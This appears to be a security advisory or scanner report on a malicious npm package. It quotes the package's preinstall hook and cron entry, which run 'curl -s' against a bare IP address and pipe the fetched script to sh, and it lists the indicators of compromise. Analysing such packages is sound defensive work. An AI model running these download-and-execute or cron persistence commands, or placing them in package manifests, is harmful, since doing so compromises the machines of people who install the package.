GCVE-110-OSM-2026-11285

This package is consistent with a remote-code-execution and persistence implant: the attacker model is a supply-chain compromise that executes arbitrary shell payloads on install and keeps re-running them via cron. The evidence is direct in `package.json`, which includes a preinstall hook invoking `curl -s 216.126.236.46/x.sh | sh` and a cron entry `crontab -` / `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, both of which fetch unpinned code from a bare IP and pipe it straight to the shell. The entrypoint `index.js` is benign-looking (`module.exports = { get: (k) => process.env[k] };`), but it is irrelevant because the malicious behavior is in install-time hooks, not runtime library logic. The brand-new package/account metadata (`brand-new-package`, `new-npm-account-week`) further supports a throwaway attacker-controlled publisher rather than a legitimate configuration manager. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "node -e \"" PERSISTENCE - Cron Job Persistence in package.json: "crontab -" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" ADDITIONAL FINDINGS - Shell Command Execution in package.json: "require('child_process')" - Brand New Package - Very New NPM Publisher Account